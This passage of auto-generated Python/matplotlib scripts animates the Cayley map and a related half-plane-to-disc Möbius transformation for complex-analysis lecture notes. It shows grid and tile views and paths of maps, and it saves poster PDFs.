    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * ((z-1j)/(z+1j))
R = 10.0                      # curves are cut beyond this radius
LIMITS = (-2.2, 2.2, -2.2, 2.2)
SUB = 'every point moves in a straight line from $z$ to $\\frac{z-i}{z+i}$'
TITLE = '$w=(1-s)\\,z+s\\,\\frac{z-i}{z+i},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-3, 3, 0, 3, 7, 4)
AVOID = []
EXTRAS = [('(-30+60*u)+0j', 'tab:green')]
TRACK = 1j

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The Cayley map $\frac{z-i}{z+i}$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Theorem 34.9 and Figure 34.1, p. 180 (ch34:232, 262)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: mob(mpow([[1, -1j], [1, 1j]], s), z)
R = 10.0                      # curves are cut beyond this radius
LIMITS = (-2.2, 2.2, -2.2, 2.2)
SUB = 'the upper half-plane onto the unit disc;\nthe real axis (green) onto the unit circle; $i\\mapsto0$'
TITLE = '$w=M^{s}(z),\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-3, 3, 0, 3, 7, 4)
AVOID = []
EXTRAS = [('(-30+60*u)+0j', 'tab:green')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The Cayley map $\frac{z-i}{z+i}$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Theorem 34.9 and Figure 34.1, p. 180 (ch34:232, 262)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: mob(mpow([[1, -1j], [1, 1j]], s), z)
R = 10.0                      # curves are cut beyond this radius
LIMITS = (-2.2, 2.2, -2.2, 2.2)
SUB = 'the upper half-plane onto the unit disc; the real axis (green) onto the unit circle; $i\\mapsto0$'
TITLE = '$w=M^{s}(z),\\quad s=%.2f$'
TILEKIND, TILEARGS = 'cart', (-2, 2, 0, 2, 8, 4)
HILITE = [11, 20]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Half-plane to disc with $2i\mapsto0$: $\frac{2i-z}{2i+z}$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Example 34.10, p. 180 (ch34:294)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * ((2j-z)/(2j+z))
R = 10.0                      # curves are cut beyond this radius
LIMITS = (-2.2, 2.2, -2.2, 2.2)
SUB = 'every point moves in a straight line from $z$ to $\\frac{2i-z}{2i+z}$'
TITLE = '$w=(1-s)\\,z+s\\,\\frac{2i-z}{2i+z},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-4, 4, 0, 4, 9, 5)
AVOID = []
EXTRAS = [('(-40+80*u)+0j', 'tab:green')]
TRACK = 2j

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Half-plane to disc with $2i\mapsto0$: $\frac{2i-z}{2i+z}$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Example 34.10, p. 180 (ch34:294)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: mob(mpow([[-1, 2j], [1, 2j]], s), z)
R = 10.0                      # curves are cut beyond this radius
LIMITS = (-2.2, 2.2, -2.2, 2.2)
SUB = 'the upper half-plane onto the unit disc with $2i\\mapsto0$ and $0\\mapsto1$'
TITLE = '$w=M^{s}(z),\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-4, 4, 0, 4, 9, 5)
AVOID = []
EXTRAS = [('(-40+80*u)+0j', 'tab:green')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
